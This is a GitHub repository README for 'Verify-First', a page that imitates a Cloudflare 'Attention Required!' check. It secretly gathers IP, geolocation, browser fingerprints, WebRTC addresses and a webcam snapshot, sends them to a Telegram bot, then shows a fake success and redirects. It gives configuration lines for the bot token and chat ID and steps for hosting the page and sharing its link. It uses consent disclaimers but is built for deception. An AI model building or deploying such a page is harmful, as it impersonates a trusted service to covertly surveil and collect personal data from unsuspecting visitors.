Skip to content

A deceptive Cloudflare-style verification page that collects detailed browser, system, and location data—including webcam snapshots—and sends it to a Telegram bot. Built with HTML, CSS, and JavaScript for research or ethical red teaming purposes. Use responsibly and only with proper consent.

Notifications You must be signed in to change notification settings

HyperPS/Verify-First

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Cloudflare-like Session Verification Page with Fingerprinting & Data Collection

This project mimics a Cloudflare-style "Attention Required!" page with a deceptive verification UI that gathers extensive browser fingerprinting and system data. It collects user information and transmits it to a Telegram bot, including geolocation, browser metadata, WebRTC/IP, audio fingerprinting, a webcam snapshot, and more.

⚠️ Disclaimer: This project is for educational and ethical research purposes only. Do not deploy this without proper consent. Unauthorized usage may violate privacy laws and platform policies.


📸 Features

  • Mimics Cloudflare-style verification page.
  • Collects:
    • Public IP address
    • Geolocation (latitude, longitude)
    • Browser metadata
    • WebGL fingerprint
    • Canvas fingerprint
    • Audio fingerprint
    • LocalStorage/IndexedDB unique IDs
    • Installed fonts
    • WebRTC IPs
    • Network info (downlink, RTT, etc.)
    • Autofill leakage detection
    • Webcam snapshot (if allowed)
    • Battery status
    • Plugins & mimeTypes
  • Sends all collected data (and image snapshot) to a Telegram bot.

🔧 Setup Instructions

  1. Clone or copy the HTML file.

  2. Replace the Telegram credentials:

    Open the <script> section in the HTML and update these two lines:

    const TELEGRAM_BOT_TOKEN = "770000000000:DFHBCGHMHGMHFGHSDKUJHSU8I"; // Replace with your bot token
    const TELEGRAM_CHAT_ID = "000000000"; // Replace with your Telegram chat ID
  3. Host the HTML file on a web server (e.g. GitHub Pages, Vercel, Netlify, or your own server).

  4. Open the hosted URL in a browser or share the link with users (only with permission).


✅ How It Works

  1. The user is shown a verification-style box.
  2. Upon clicking, the page:
    • Collects fingerprint & environment info.
    • Captures webcam snapshot (if permission is granted).
    • Sends the data and image to the configured Telegram bot.
  3. Displays a fake "verification success" and redirects to google.com.

🛡️ Ethical Use Guidelines

This tool should only be used:

  • In controlled environments (e.g. red teaming, honeypots).
  • With full user consent.
  • For research or detection of browser fingerprinting.

Do NOT use it for malicious activity.


🧱 Technologies Used

  • HTML5, CSS3

  • Vanilla JavaScript

  • CryptoJS

  • Telegram Bot API

  • Web APIs:

    • getUserMedia
    • getBattery
    • navigator.plugins, navigator.mimeTypes
    • indexedDB, localStorage
    • RTCPeerConnection
    • Canvas, WebGL, AudioContext

📂 Project Structure

index.html          # Main HTML file with embedded JavaScript and CSS

🚀 Demo Preview

✅ Try it after hosting. The fake Cloudflare box will collect data and redirect.


⚠️ Legal Notice

This code includes surveillance and fingerprinting logic. You are fully responsible for how you use it. Unauthorized data collection is illegal in many jurisdictions.

Always inform and obtain consent from your users.


📄 License

This project is released under the MIT License — feel free to modify and use responsibly.


---

About

A deceptive Cloudflare-style verification page that collects detailed browser, system, and location data—including webcam snapshots—and sends it to a Telegram bot. Built with HTML, CSS, and JavaScript for research or ethical red teaming purposes. Use responsibly and only with proper consent.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages